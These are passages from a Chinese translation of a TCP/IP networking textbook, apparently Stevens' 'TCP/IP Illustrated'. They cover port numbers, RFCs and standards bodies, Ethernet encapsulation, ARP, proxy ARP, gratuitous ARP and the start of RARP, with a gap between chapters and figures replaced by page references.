为协议ICMP和IGMP定位一直是一件很棘手的事情。在图1.4中，我们把它们与IP放在同一层上，那是因为事实上它们是IP的附属协议。但是在这里，我们又把它们放在IP层的上面，这是因为ICMP和IGMP报文都被封装在IP数据报中。
对于ARP和RARP我们也遇到类似的难题。在这里我们把它们放在以太网设备驱动程序的上方，这是因为它们和IP数据报一样，都有各自的以太网数据帧类型。但在图2.4中，我们又把ARP作为以太网设备驱动程序的一部分，放在IP层的下面，其原因在逻辑上是合理的。
当进一步描述TCP的细节时，我们将看到协议确实是通过目的端口号，源IP地址和源端口号进行解包的。
1.8 客户服务器模型
大部分网络应用程序在编写时都假设一端是客户，另一端是服务器，其目的是为了让服务器为客户提供一些特定的服务。
我们可以将这种服务分为两种类型：重复型或并发型。重复型服务器通过以下步骤进行交互：
I1. 等待一个客户请求的到来。
I2. 处理客户请求。
I3. 发送响应给发送请求的客户。
I4. 返回I1步骤。
重复型服务器主要的问题发生在I2状态。在这个时候，它不能为其他客户机提供服务。
相应地，并发型服务器采用以下步骤：
C1. 等待一个客户请求的到来
C2. 启动一个新的服务器来处理这个客户的请求。在这期间可能生成一个新的进程、任务或线程，并依赖底层操作系统的支持。这个步骤如何进行取决于操作系统。生成的新服务器对客户的全部请求进行处理。处理结束后，终止这个新服务器。
C3.返回C1步骤。
并发服务器的优点在于它是利用生成其他服务器的方法来处理客户的请求。也就是说，每个客户都有它自己对应的服务器。如果操作系统允许多任务，那么就可以同时为多个客户同时服务。
我们对服务器，而不是对客户进行分类的原因是因为对于一个客户来说，它通常并不能够辨别自己是与一个重复型服务器或并发型服务器进行对话。
一般来说，TCP服务器是并发的，而UDP服务器是重复的，但也存在一些例外。我们将在11.12节对UDP对其服务器产生的影响进行详细讨论，并在18.11节对TCP对其服务器的影响进行讨论。
1.9 端口号
我们前面已经指出过，TCP和UDP采用16比特的端口号来识别应用程序。那么这些端口号是如何选择的呢？
服务器一般都是通过人们所熟知的端口号来识别的。例如，对于每个TCP/IP实现来说，FTP服务器的TCP端口号都是21，每个Telnet服务器的TCP端口号都是23，每个TFTP(简单文件传输协议)服务器的UDP端口号都是69。任何TCP/IP实现所提供的服务都用众所周知的1－1023之间的端口号。这些人们所熟知的端口号由Internet端口号分配机构（Internet Assigned Numbers Authority, IANA）来管理。
（下面是原书p.13①的译文）
到1992年为止，人们所熟知的端口号介于1－255之间。256－1023之间的端口号通常都是由Unix系统占用，以提供一些特定的Unix服务――也就是说，提供一些只有Unix系统才有的，而其他操作系统可能不提供的服务。现在IANA管理1－1023之间所有的端口号。
Internet扩展服务与Unix特定服务之间的一个差别就是Telnet和Rlogin。它们二者都允许我们通过计算机网络登录到其他主机上。Telnet是采用端口号为23的TCP/IP标准且几乎可以在所有操作系统上进行实现。相反，Rlogin最开始时只是为Unix系统设计的（尽管许多非Unix系统现在也提供该服务），因此在80年代初，它的有名端口号为513。
客户端通常对它所使用的端口号并不关心，只需保证该端口号在本机上是唯一的就可以了。客户端口号又称作临时端口号（即存在时间很短暂）。这是因为它通常只是在用户运行该客户程序时才存在，而服务器则只要主机开着的，其服务就运行。
大多数TCP/IP实现给临时端口分配1024－5000之间的端口号。大于5000的端口号是为其他服务器预留的（Internet上并不常用的服务)。我们可以在后面看见许多这样的给临时端口分配端口号的例子。
（下面是原书p.13②的译文）
Solaris 2.2是一个很有名的例外。通常TCP和UDP的缺省临时端口号从32768开始。在E.4节中，我们将详细描述系统管理员如何对配置选项进行修改以改变这些缺省项。
大多数Unix系统的file/etc/services都包含了人们熟知的端口号。为了找到Telnet服务器和域名系统的端口号，我们可以运行以下语句：
（见原书p.13的③）
保留端口号
Unix系统有保留端口号的概念。只有具有超级用户特权的进程才允许给它自己分配一个保留端口号。
这些端口号介于1到1023之间，一些应用程序（如有名的Rlogin，26.2节）将它作为客户与服务器之间身份认证的一部分。
1.10 标准化过程
究竟是谁控制着TCP/IP协议组件，又是谁在定义新的标准以及其他类似的事情？事实上，有四个小组在负责Internet技术。
1. Internet协会（ISOC: Internet Society）是一个推动、支持和促进Internet不断增长和发展的专业组织，它把Internet作为全球研究通信的基础设施。
2. Internet体系结构委员会（IAB：Internet Architecture Board）是一个技术监督和协调的机构。它由国际上来自不同专业的15个志愿者组成，其职能是负责Internet标准的最后编辑和技术审核。IAB隶属于ISOC。
3. Internet工程专门小组（IETF：Internet Engineering Task Force）是一个面向近期标准的组织，它分为9个领域（应用，寻径和寻址，安全等等）。IETF开发成为Internet标准的规约。为帮助IETF主席，又成立了Internet工程指导小组（IESG：Internet Engineering Steering Group）。
4. Internet研究专门小组主要对长远的项目进行研究。
IRTF和IETF都隶属于IAB。文献[Crocker 1993]提供了关于Internet内部标准化进程更为详细的信息，同时还介绍了它的早期历史。
1.11 RFC
所有关于Internet的正式标准都以RFC（Request for Comment）文档出版。另外，大量的RFC并不是正式的标准，出版的目的只是为了提供信息。RFC的篇幅从1页到200页不等。每一项都用一个数字来标识，如RFC 1122，数字越大说是RFC的内容越新。
所有的RFC都可以通过电子邮件或用FTP从Internet上免费获取。如果发送下面这份电子邮件，你就会收到一份获取RFC的方法清单：
To: rfc-info@ISI.EDU
Subject: getting rfcs
help: ways_to_get_rfcs
最新的RFC索引总是搜索信息的起点。这个索引列出了RFC被替换或局部更新的时间。
下面是一些重要的RFC文档：
1. 赋值RFC（Assigned Numbers RFC）列出了所有Internet协议中使用的数字和常数。至本书出版时为止，最新RFC的编号是1340 [Reynolds and Postel 1992]。所有著名的Internet端口号都列在这里。
当这个RFC被更新时（通常每年至少更新一次），索引清单会列出RFC 1340被替换的时间。
2. Internet正式协议标准，目前是RFC 1600[Postel 1994]。这个RFC描述了各种Internet协议的标准化现状。每种协议都处于下面几种标准化状态之一：标准，草案标准，提议标准，实验标准，信息标准，和历史标准。另外，对每种协议都有一个要求的层次：必需的，建议的，可选择的，限制使用的，或者不推荐的。
与赋值RFC一样，这个RFC也定期更新。请一定随时查看最新版本。
3. 主机需求RFC，1122和1123[Braden 1989a, 1989b]。RFC 1122针对链路层，网络层和运输层，RFC 1123针对应用层。这两个RFC对早期重要的RFC文档作了大量的纠正和解释。如果要查看有关协议更详细的细节内容，它们通常是一个入口点。它们列出了协议中关于“必须”，“应该”，“可以”，“不应该”或者“不能”等特性及其实现细节。
文献[Borman 1993b]提供了有关这两个RFC的实用内容。RFC 1127[Braden 1989c]对工作小组开发主机需求RFC过程中的讨论内容和结论进行了非正式的总结。
4．路由器需求RFC，目前正式版是RFC 1009[Braden and Postel 1987]，但一个新版已接近完成[Aknqyust 1993]。它与主机需求RFC类似，但是只单独描述了路由器的需求。
1.12 标准的简单服务
有一些标准的简单服务几乎每种实现都要提供。在本书中我们将使用其中的一些服务程序，而客户程序通常选择Telnet。图1.9描述了这些服务。从该图我们可以看出，当使用TCP和UDP提供相同的服务时，一般选择相同的端口号.
（下面是原书p.15①的译文）
如果仔细检查这些标准的简单服务以及其他标准的TCP/IP服务（如Telnet, FTP, SMTP等）的端口号时，我们发现它们都是奇数。这是有历史原因的，因为这些端口号都是从NCP端口号派生出来的。（NCP，即网络控制协议，是ARPANET的运输层协议，是TCP的前身。NCP是单工的，不是全双工的，因此每个应用程序需要两个连接，需预留一对奇数和偶数端口号。当TCP和UDP成为标准的运输层协议时，每个应用程序只需要一个端口号，因此就使用了NCP中的奇数。
（以下是原书p.16图1.9的译文）
名字
TCP端口号
UDP端口号
RFC
描述
echo
7
7
862
服务器返回客户发送的所有内容。
discard
9
9
863
服务器丢弃客户发送的所有内容。
daytime
13
13
867
服务器以可读形式返回时间和日期。
chargen
19
19
864
当客户发送一个数据报时，TCP服务器发送一串连续的字符流，直到客户中断连接。UDP服务器发送一个随机长度的数据报。
time
37
37
868
服务器返回一个二进制形式的32 bit数，表示从UTC时间1900年1月1日午夜至今的秒数。
图1.9 大多数实现都提供的标准的简单服务
1.13 互连网
在图1.3中，我们列举了一个由两个网络组成的互连网－一个以太网和一个令牌环网。在1.4节和1.9节中，我们讨论了世界范围内的互连网－Internet，以及集中分配IP地址的需要（InterNIC），还讨论了著名的端口号（IANA）。internet这个词第一个字母是否大写决定了它具有不同的含义。
internet意思是用一个共同的协议族把多个网络连接在一起。而Internet指的是世界范围内通过TCP/IP互相通信的所有主机集合（超过100万台）。Internet是一个internet（互连网），但internet不等于Internet。
1.14 实现
既成事实标准的TCP/IP软件实现来自于位于伯克利的加利福尼亚大学的计算机系统研究小组。从历史上看，软件是随同4.x BSD系统（Berkeley Software Distribution）的网络版一起发布的。它的源代码是许多其他实现的基础。
图1.10列举了各种BSD版本发布的时间，并标注了重要的TCP/IP特性。列在左边的BSD网络版，其所有的网络源代码可以公开得到：包括协议本身以及许多应用程序和工具（如Telnet和FTP）。
在本书中，我们将使用“伯克利派生系统”来指SunOS 4.x, SVR4, 以及AIX 3.2等那些基于伯克利源代码开发的系统。这些系统有很多共同之处，经常包含相同的错误。
（以下是原书p.17图1.10的译文）
4.2BSD (1983) 第一个广泛可用的TCP/IP发布
4.3BSD (1986) TCP性能得到改善
4.3BSD Tahoe (1988) 启动慢，拥塞避免措施
BSD网络软件1.0版(1989)：Net/1
4.3BSD Reno(1990) TCP首部预测，SLIP首部压缩
路由表修改
BSD网络软件2.0版(1991)：Net/2
4.4BSD(1993) 多播，长胖管道修改
4.4BSD-Lite (1994)
又称为Net/3
图1.10 不同的BSD版及其重要的TCP/IP特性
起初关于Internet的很多研究现在仍然在伯克利系统中应用－新的拥塞控制算法（21.7节），多目传送（12.4节），“又长又胖的管道”修改（24.3节），以及其他类似的研究。
1.15 应用编程接口
使用TCP/IP协议的应用程序通常采用两种应用编程接口（API）：socket和TLI（运输层接口：Transport Layer Interface）。前者有时称作“Berkeley socket”，表明它是从伯克利版发展而来的。后者起初是由AT&T开发的，有时称作XTI（X/Open传输接口），以承认X/Open这个自己定义标准的国际计算机生产产商所做的工作。XTI实际上是TLI的一个超集。
本书不是一本编程方面的书，但是偶尔会引用一些内容来说明TCP/IP的特性，不管大多数的API（socket）是否提供它们。所有关于socket和TLI的编程细节请参阅文献[Stevens 1990]。
1.16 测试网络
图1.11是本书中所有的例子运行的测试网络。为阅读时参考方便，该图还复制在本书的封面内侧。
图1.11 本书例子运行的测试网络，所有的IP地址均从140.252开始编址。
在这个图中（作者的子网），大多数的例子都运行在下面四个系统中。图中所有的IP地址属于B类地址，网络号为140.252。所有的主机名属于.tuc.noao.edu这个域。（noao代表National Optical Astronomy Observatories，tuc代表Tucson）。例如，右下方的系统有一个完整的名字: svr4.tuc.noao.edu，其IP地址是：140.252.13.34。每个方框上方的名称是该主机运行的操作系统。这一组系统和网络上的主机及路由器运行于不同的TCP/IP实现。
需要指出的是，noao.edu这个域中的网络和主机要比图1.11中的多得多。这里列出来的只是本书中将要用到的系统。
在3.4节中，我们将描述这个网络所用到的子网形式，在4.6中我们将更介绍sun与netb之间的拔号SLIP的有关细节。2.4节将详细讨论SLIP。
1.17 小结
本章快速地浏览了TCP/IP协议族，介绍了我们在后面的章节中将要详细讨论的许多术语和协议。
TCP/IP协议族分为四层：链路层，网络层，运输层和应用层，每一层各有不同的责任。在TCP/IP中，网络层和运输层之间的区别是最为关键的：网络层（IP）提供点到点的服务，而运输层（TCP和UDP）提供端到端的服务。
一个互连网是网络的网络。构造互连网的共同基石是路由器，它们在IP层把网络连在一起。第一个字母大写的Internet是指分布在世界各地的大型互连网，其中包括1万多个网络和超过100万台主机。
在一个互连网上，每个接口都用IP地址来标识，尽管用户习惯使用主机名而不是IP地址。域名系统为主机名和IP地址之间提供动态的映射。端口号用来标识互相通信的应用程序。服务器使用众所周知的端口号，而客户使用临时设定的端口号。

习题
1.1 请计算最多有多少个A类、B类和C类网络号。
1.2 用匿名FTP（见27.3节）从主机nic.merit.edu 上获取文件nsfnet/statistics/history.netcount。该文件包含在NSFNET网络上登记的国内和国外的网络数。画一坐标系，横坐标代表年，纵坐标代表网络总数的对数值。纵坐标的最大值是习题1.1的结果。如果数据显示一个明显的趋势，请估计按照当前的编址体制推算，何时会用完所有的网络地址。（3.10节讨论解决该难题的建议。）
1.3 获取一份主机需求RFC拷贝[Braden 1989a]，阅读有关应用于TCP/IP协议族每一层的稳健性原则。这个原则的参考对象是什么？
1.4 获取一份最新的赋值RFC拷贝。“quote of the day"协议的有名端口号是什么？哪个RFC对该协议进行了定义？
1.5 如果你有一个接入TCP/IP互连网的主机帐号，它的主IP地址是多少？这台主机是否接入了Internet？它是多接口主机吗？
1.6 获取一份RFC 1000的拷贝，了解RFC这个术语从何而来。
1.7 与Internet协会联系，isoc@isoc.org或者+1 703 648 9888，了解有关加入的情况。
1.8 用匿名FTP从主机is.internic.net处获取文件about-internic/information-about-the-internic。
1－1
2 链路层
2.1 引言
从图1.4我们可以看出，在TCP/IP协议族中，链路层主要有三个目的：（1）为IP模块发送和接收IP数据报；（2）为ARP模块发送ARP请求和接收ARP应答；（3）为RARP发送RARP请求和接收RARP应答。TCP/IP支持多种不同的链路层协议，这取决于网络所使用的硬件，如以太网，令牌环网，FDDI（光纤分布式数据接口），RS－232串行线路等。
在本章中，我们将详细讨论以太网链路层协议，两个串行接口链路层协议（SLIP和PPP），以及大多数实现都包含的环回（loopback）驱动程序。以太网和SLIP是本书中大多数例子使用的链路层。我们对MTU（最大传输单元）进行了介绍，这个概念在本书的后面章节中将多次遇到。我们还讨论了如何为串行线路选择MTU。
2.2 以太网和IEEE 802封装
以太网这个术语一般是指数字设备公司（Digital Equipment Corp.）、 英特尔公司（Intel Corp.）、和Xerox公司联合在1982年公布的一个标准。它是当今TCP/IP采用的主要的局域网技术。它采用一种称作CSMA/CD的媒体接入方法，其意思是载波侦听多路接入/冲突检测（Carrier Sense, Multiple Access with Collision Detection）。它的速率为10 Mb/s，地址为48 bit。
几年后，IEEE（电子电气工程师协会）802委员会公布了一个稍有不同的标准集，其中802.3针对了整个CSMA/CD网络，802.4针对令牌总线网络，802.5针对令牌环网络。这三者的共同特性由802.2标准来定义，那就是802网络共有的逻辑链路控制（LLC）。不幸的是，802.2和802.3定义了一个与以太网不同的帧格式。文献[Stallings 1987]对所有的IEEE 802标准进行了详细的介绍。
在TCP/IP世界中，以太网IP数据报的封装是在RFC 894[Hornig 1984]中定义的，IEEE 802网络的IP数据报封装是在RFC 1042[Postel and Reynolds 1988]中定义的。主机需求RFC要求每台Internet主机都与一个10Mbit/s的以太网电缆相连接：
1. 必须能发送和接收采用RFC 894（以太网）封装格式的分组。
2. 应该能接收与RFC 894混合的RFC 1042（IEEE 802）封装格式的分组。
3. 也许能够发送采用RFC 1042格式封装的分组。如果主机能同时发送两种类型的分组数据，那么发送的分组必须是可以设置的，而且默认条件下必须是RFC 894分组。
最常使用的封装格式是RFC 894定义的格式。图2.1显示了两种不同形式的封装格式。图中每个方框下面的数字是它们的字节长度。
两种帧格式都采用48 bit（6字节）的目标地址和源地址。（802.3允许使用16 bit的地址，但一般是48 bit地址。）这就是我们在本书中所称的硬件地址。ARP和RARP协议（第4章和第5章）对32 bit的IP地址和48 bit的硬件地址进行映射。
接下来的2个字节在两种帧格式中互不相同。在802标准定义的帧格式中，长度字段是指它后续数据的字节长度，但不包括CRC检验码。以太网的类型字段定义了后续数据的类型。在802标准定义的帧格式中，类型字段则由后续的子网接入协议（Sub-network Access Protocol，SNAP）的首部给出。幸运的是，802定义的有效长度值与以太网的有效类型值无一相同，这样，就可以对两种帧格式进行区分。
在以太网帧格式中，类型字段之后就是数据，而在802帧格式中，跟随在后面的是3字节的802.2 LLC和5字节的802.2 SNAP。目的服务访问点（Destination Service

TCP/IP详解（二）
4.5 ARP举例
在本小节中，我们用tcpdump命令来看一看运行像Telnet这样的普通TCP工具软件时ARP会做些什么。附录A包含tcpdump命令的其它细节。

普通例子
为了看清楚ARP的运作过程，我们执行telnet命令与无效的服务器连接。

（见原书p.57的①）

当我们在另一个系统上（sun）运行带有-e参数的tcpdump命令时，显示的是硬件地址（在我们的例子中是48 bit的以太网地址。）

图4.4 TCP连接请求产生的ARP请求和回答

图4.4中的tcpdump的原始输出如图附录A中的A.3所示。由于这是本书第一个tcpdump输出例子，你应该去查看附录中的原始输出，看看我们作了哪些修改。
我们删除了tcpdump命令输出的最后四行，因为它们是结束连接的信息（我们将在第18章进行讨论），与这里讨论的内容不相关。
在第1行中，源端主机（bsdi）的硬件地址是0:0:c0:6f:2d:40。目的端主机的硬件地址是ff:ff:ff:ff:ff:ff，这是一个以太网广播地址。电缆上的每个以太网接口都要接收这个数据帧并对它进行处理，如图4.2所示。
第1行中紧接着的一个输出字段是arp，表明帧类型字段的值是0x0806，说明此数据帧是一个ARP请求或回答。
在每行中，单词arp或ip后面的值60指的是以太网数据帧的长度。由于ARP请求或回答的数据帧长都是42字节（28字节的ARP数据，14字节的以太网帧头），因此每一帧都必须加入填充字符以达到以太网的最小长度要求：60字节。
请参见图1.7，这个最小长度60字节包含14字节的以太网帧头，但是不包括4个字节的以太网帧尾。有一些书把最小长度定为64字节，它包括以太网的帧尾。我们在图1.7中把最小长度定为46字节，是有意不包括14字节的帧首部，因为对应的最大长度（1500字节）指的是MTU――最大传输单元（图2.5）。我们使用MTU经常是因为它对IP数据报的长度进行限制，但一般与最小长度无关。大多数的设备驱动程序或接口卡自动地用填充字符把以太网数据帧充满到最小长度。第3，4和5行中的IP数据报（包含TCP段）的长度都比最小长度小，因此都必须进行填充到60字节。
第1行中的下一个输出字段arp who-has表示作为ARP请求的这个数据帧中，目的IP地址是svr4的地址，发送端的IP地址是bsdi的地址。tcpdump打印出主机名对应的默认IP地址。（在4.7节中，我们将用-n参数来查看ARP请求中真正的IP地址。）
从第2行中我们可看到，尽管ARP请求是广播的，但是ARP回答的目的地址却是bsdi（0:0:c0:6f:2d:40）。ARP回答是直接送到请求端主机的，而是广播的。
tcpdump打印出arp reply的字样，同时打印出响应者的主机名和硬件地址。
第3行是第一个请求建立连接的TCP段。它的目的硬件地址是目的主机(svr4)。我们将在第18章讨论这个段的细节内容。
在每一行中，行号后面的数字表示tcpdump收到分组的时间（以秒为单位）。除第1行外，其它每行在括号中还包含了与上一行的时间差异（以秒为单位）。我们从这个图可以看出，发送ARP请求与收到ARP回答之间的时延是2.2 ms。而在0.7 ms之后发出第一段TCP报文。在本例中，用ARP进行动态地址解析的时间小于3 ms。
最后需要指出的一点，在tcpdump命令输出中，我们没有看到svr4在发出第一段TCP报文（第4行）之前发出的ARP请求。这是因为可能在svr4的ARP高速缓存中已经有bsdi的表项。一般情况下，当系统收到ARP请求或发送ARP回答时，都要把请求端的硬件地址和IP地址存入ARP高速缓存。在逻辑上可以假设，如果请求端要发送IP数据报，那么数据报的接收端将很可能会发送一个回答。

对不存在主机的ARP请求
如果查询的主机已关机或不存在会发生什么情况呢？为此我们指定一个并不存在的Internet地址――根据网络号和子网号所对应的网络确实存在，但是并不存在所指定的主机号。从图3.10我们可以看出，主机号从36到62的主机并不存在（主机号为63是广播地址）。这里，我们用主机号36来举例子。

（见原书p.59的①）

tcpdump命令的输出如图4.5所示。

图4.5 对不存在主机的ARP请求

这一次，我们没有用-e选项，因为我们已经知道ARP请求是在网上广播的。
令人感兴趣的是看到多次进行ARP请求：第一次请求发生后5.5秒进行第二次请求，在24秒之后又进行第三次请求。（在第21章我们将看到TCP的超时和重发算法的细节。）tcpdump命令输出的超时限制为29.5秒。但是，在telnet命令使用前后分别用date命令检查时间，可以发现Telnet客户端的连接请求似乎在大约75秒后才放弃。事实上，我们在后面将看到，大多数的BSD实现把完成TCP连接请求的时间限制设置为75秒。
在第18章中，当我们看到建立连接的TCP报文段序列时，会发现ARP请求对应于TCP试图发送的初始TCP SYN（同步）段。
注意，在线路上我们始终看不到TCP的报文段。我们能看到的是ARP请求。直到ARP回答返回时，TCP报文段才可以被发送，因为硬件地址到这时才可能知道。如果我们用过滤模式运行tcpdump命令，只查看TCP数据，那么将没有任何输出。

ARP 高速缓存超时设置
在ARP高速缓存中的表项一般都要设置超时值。（在4.8小节中，我们将看到管理员可以用arp命令把地址放入高速缓存中而不设置超时值。）从伯克利系统演变而来的系统一般对完整的表项设置超时值为20分钟，而对不完整的表项设置超时值为3分钟。（在前面的例子中我们已见过一个不完整的表项，即在以太网上对一个不存在的主机发出ARP请求。）当这些表项再次使用时，这些实现一般都把超时值重新设为20分钟。

（下面是原书p.60①的译文）
在RFC中说，在表项正在使用时，超时值就应该启动，但是大多数的从伯克利系统演变而来的系统没有这样做――它们每次都是在访问表项进重设超时值。

4.6 ARP代理
如果ARP请求是从一个网络的主机发往另一个网络上的主机，那么连接这两个网络的路由器就可以回答该请求，这个过程称作委托ARP或ARP代理(Proxy ARP)。这样可以欺骗发起ARP请求的发送端，使它误以为路由器就是目的主机，而事实上目的主机是在路由器的“另一边”。路由器的功能相当于目的主机的代理，把分组从其它主机转发给它。
举例是说明ARP代理的最好方法。如图3.10所示，系统sun与两个以太网相连。但是，我们也指出过，事实上并不是这样，请把它与封二中的图进行比较。在sun和子网140.252.1之间实际存在一个路由器，就是这个具有ARP代理功能的路由器使得sun就好像在子网140.252.1上一样。具体安置如图4.6所示，路由器Telebit NetBlazer，取名为netb，在子网和主机sun之间。

图4.6 ARP代理的例子

当子网140.252.1（称作gemini）上的其它主机有一份IP数据报要传给地址为140.252.1.29的sun，gemini比较网络号（140.252）和子网号（1），因为它们都是相同的，因而在图4.6上面的以太网中发送IP地址140.252.1.29的ARP请求。路由器netb识别出该IP地址属于它的一个拔号主机，于是把它的以太网接口地址140.252.1作为硬件地址来回答。主机gemini通过以太网发送IP数据报到netb，netb通过拔号SLIP链路把数据报转发到sun。这个过程对于所有140.252.1子网上的主机来说都是透明的，主机sun实际上是在路由器netb后面进行配置的。
如果我们在主机gemini上执行arp命令，经过与主机sun通信以后，我们发现在同一个子网140.252.1上的netb和sun的IP地址映射的硬件地址是相同的。这通常是使用委托ARP的线索。

gemini % arp -a
这里是子网140.252.1上其他主机的输出行
netb (140.252.1.183) at 0:80:ad:3:6a:80
sun (140.252.1.29) at 0:80:ad:3:6a:80

图4.6中的另一个需要解释的细节是在路由器netb的下方（SLIP链路）显然缺少一个IP地址。为什么在拔号SLIP链路的两端只拥有一个IP地址，而在bsdi和slip之间的两端却分别有一个IP地址？在3.8小节我们已经指出，用ifconfig命令可以显示拔号SLIP链路的目的地址，它是140.252.1.183。NetBlazer不需要知道拔号SLIP链路每一端的IP地址。（这样做会用更多的IP地址。）相反，它通过分组到达的串行线路接口来确定发送分组的拔号主机，因此对于连接到路由器的每个拔号主机不需要用唯一的IP地址。所有的拔号主机使用同一个IP地址140.252.1.183作为SLIP链路的目的地址。
ARP代理可以把数据报传送到路由器sun上，但是子网140.252.13上的其它主机是如何处理的呢？路由选择必须使数据报能到达其它主机。这里需要特殊处理，路由选择表中的表项必须在网络140.252的某个地方制定，使所有数据报的目的端要么是子网140.252.13，要么是子网上的某个主机，这样都指向路由器netb。而路由器netb知道如何把数据报传到最终的目的端，即通过路由器sun。
ARP代理也称作混合ARP（promiscuous ARP）或ARP 出租(ARP hack)。这些名字来自于ARP代理的其它用途：通过两个物理网络之间的路由器可以互相隐藏物理网络。在这种情况下，两个物理网络可以使用相同的网络号，只要把中间的路由器设置成一个ARP代理，以响应一个网络到另一个网络主机的ARP请求。这种技术在过去用来隐藏一组在不同物理电缆上运行旧版TCP/IP的主机。分开这些旧主机有两个共同的理由，其一是它们不能处理子网划分，其二是它们使用旧的广播地址（所有比特值为0的主机号，而不是目前使用的所有比特值为1的主机号）。

4.7 免费ARP
我们可以看到的另一个ARP特性称作免费ARP (gratuitous ARP)。它是指主机发送ARP查找自己的IP地址。通常，它发生在系统引导期间进行接口配置的时候。
在我们的互联网中，如果我们引导主机bsdi并在主机sun上运行tcpdump命令，我们可以看到如图4.7所示的分组。

图4.7 免费ARP的例子

（我们用-n选项运行tcpdump命令，打印出点分十进制的地址，而不是主机名。）对于ARP请求中的各字段来说，发送端的协议地址和目的端的协议地址是一致的：即主机bsdi的地址140.252.13.35。另外，以太网报头中的源地址0:0:c0:6f:2d:40，正如tcpdump命令显示的那样，等于发送端的硬件地址（见图4.4）。
免费ARP可以有两个方面的作用。
1. 一个主机可以通过它来确定另一个主机是否设置了相同的IP地址。主机bsdi并不希望对此请求有一个回答。但是，如果收到一个回答，那么就会在终端日志上产生一个错误消息“以太网地址：a:b:c:d:e:f发送来重复的IP地址”。这样就可以警告系统管理员，某个系统有不正确的设置。
2. 如果发送免费ARP的主机正好改变了硬件地址（很可能是主机关机了，并换了一块接口卡，然后重新启动），那么这个分组就可以使其它主机高速缓存中旧的硬件地址进行相应的更新。一个比较著名的ARP协议事实[Plummer 1982]是，如果主机收到某个IP地址的ARP请求，而且它已经在接收者的高速缓存中，那么就要用ARP请求中的发送端硬件地址（如以太网地址）对高速缓存中相应的内容进行更新。主机接收到任何ARP请求都要完成这个操作。（ARP请求是在网上广播的，因此每次发送ARP请求时网络上的所有主机都要这样做。）
文献[Bhide, Elnozahy, and Morgan 1991]中有一个应用例子，通过发送含有备份硬件地址和故障服务器的IP地址的免费ARP请求，使得备份文件服务器可以顺利地接替故障服务器进行工作。这使得所有目的地为故障服务器的报文都被送到备份服务器那里，客户程序不用关心原来的服务器是否出了故障。

（以下是原书p.63①的译文）
不幸的是，作者却反对这个做法，因为这取决于所有不同类型的客户端都要有正确的ARP协议实现。它们显然碰到过客户端的ARP协议实现与规范不一致的情况。
通过检查作者所在子网上的所有系统可以发现，SunOS 4.1.3和4.4BSD在引导时都发送免费ARP，但是SVR4却没有这样做。

4.8 arp命令
我们已经用这个命令及参数-a来显示ARP高速缓存中的所有内容。这里介绍其它参数的功能。
超级用户可以用参数-d来删除ARP高速缓存中的某一项内容。（这个命令格式可以在运行一些例子之前使用，以让我们看清楚ARP的交换过程。）
另外，可以通过参数-s来增加高速缓存中的内容。这个参数需要主机名和以太网地址：对应于主机名的IP地址和以太网地址被增加到高速缓存中。新增加的内容是永久性的（比如，它没有超时值），除非在命令行的末尾附上关键字temp。
位于命令行末尾的关键字pub和-s参数一起，可以使系统起着主机ARP代理的作用。系统将回答与主机名对应的IP地址的ARP请求，并以指定的以太网地址作为回答。如果广播的地址是系统本身，那么系统就为指定的主机名起着委托ARP代理的作用。

4.9 小结
在大多数的TCP/IP实现中，ARP是一个基础协议，但是它的运行对于应用程序或系统管理员来说一般是透明的。ARP高速缓存在它的运行过程中非常关键，我们可以用arp命令对高速缓存进行检查和操作。高速缓存中的每一项内容都有一个定时器，根据它来删除不完整和完整的表项。arp命令可以显示和修改ARP高速缓存中的内容。
我们介绍了ARP的一般操作，同时也介绍了一些特殊的功能：委托ARP（当路由器对来自于另一个路由器接口的ARP请求进行回答时）和免费ARP（发送自己IP地址的ARP请求，一般发生在引导过程中）。

习题
4.1 当我们输入命令以生成类似图4.4那样的输出时，发现本地ARP快速缓存为空以后，输入命令
bsdi % rsh svr4 arp -a
如果发现目的主机上的ARP快速缓存也是空的，那将发生什么情况？（该命令将在svr4主机上运行arp -a命令。）
4.2 请描述如何判断一个给定主机是否能正确处理接收到的非必要的ARP请求的方法。
4.3 由于发送一个数据包后ARP将等待响应，因此4.2节所描述的步骤7可能会持续一段时间。你认为ARP将如何处理在这期间收到相同目的IP地址发来的多个数据包？
4.4 在4.5节的最后，我们指出Host Requirements RFC和伯克利派生系统在处理活动ARP表目的超时时存在差异。那么如果我们在一个由伯克利派生系统的客户端上，试图与一个正在更换以太网卡而处于关机状态的服务器主机联系，这时会发生什么情况？如果服务器在引导过程中广播一份免费(gratuitous)ARP，这种情况是否会发生变化？

4－1
5 RARP：逆地址解析协议

5.1 引言
具有本地磁盘的系统引导时，一般是从磁盘上的配置文件中读取IP地址。但是无盘机，如X终端或无盘工作站，则需要采用其他方法来获得IP地址。
网络上的每个系统都具有唯一的硬件地址，它是由网络接口生产厂家配置的。无盘系统的RARP实现过程是从接口卡上读取唯一的硬件地址，然后发送一份RARP请求（一帧在网络上广播的数据），请求某个主机响应该无盘系统的IP地址（在RARP回答中）。
在概念上这个过程是很简单的，但是实现起来常常比ARP要困难，其原因在本章后面介绍。RARP的正式规范是RFC 903 [Finlayson et al. 1984]。

5.2 RARP的分组格式
RARP分组的格式与ARP分组基本一致（图4.3）。它们之间主要的差别是RARP请求或回答的帧类型代码为0x8035，而且RARP请求的操作代码为3，回答操作代码为4。
对应于ARP，RARP请求以广播方式传送，而RARP回答一般是单播(unicast)传送的。

5.3 RARP举例
在我们的互连网中，我们可以强制sun主机从网络上引导，而不是从本地磁盘引导。如果我们在主机bsdi上运行RARP服务程序和tcpdump命令，那么可以得到如图5.1那样的输出。我们用-e参数使得tcpdump命令打印出硬件地址：

图5.1 RARP请求和回答

RARP请求是广播方式（第1行），而第2行的RARP回答是单播方式。第2行的输出中at sun表示RARP回答包含主机sun的IP地址（140.252.13.33）。
在第3行中，我们可以看到，一旦sun收到RARP回答，它就发送一个TFTP读请求（RRQ）给文件8CFC0D21.SUN4C。（TFTP表示简单文件传输协议。我们将在第15章详细介绍它。）文件名中的8个十六进制数字表求主机sun的IP地址140.252.13.33。这个IP地址在RARP回答中返回。文件名的后缀SUN4C表示被引导系统的类型。
tcpdump在第3行中指出IP数据报的长度是65个字节，而不是一个UDP数据报（实际上是一个UDP数据报），因为我们运行tcpdump命令时带有-e参数，以查看硬件层的地址。在图5.1中需要指出的另一点是，第2行中的以太网数据帧长度比最小长度还要小（在4.5节中我们说过应该是60字节。）其原因是我们在发送该以太网数据帧的系统（bisdi）上运行tcpdump命令的。应用程序rarpd写42字节到BSD分组过滤设备上（其中14字节为以太网数据帧的报头，剩下的28字节是RARP回答），这就是tcpdump收到的副本。但是以太网设备驱动程序要把这一短帧填充空白字符以达到最小传输长度（60）。如果我们在另一个系统上运行tcpdump命令，其长度将会是60。
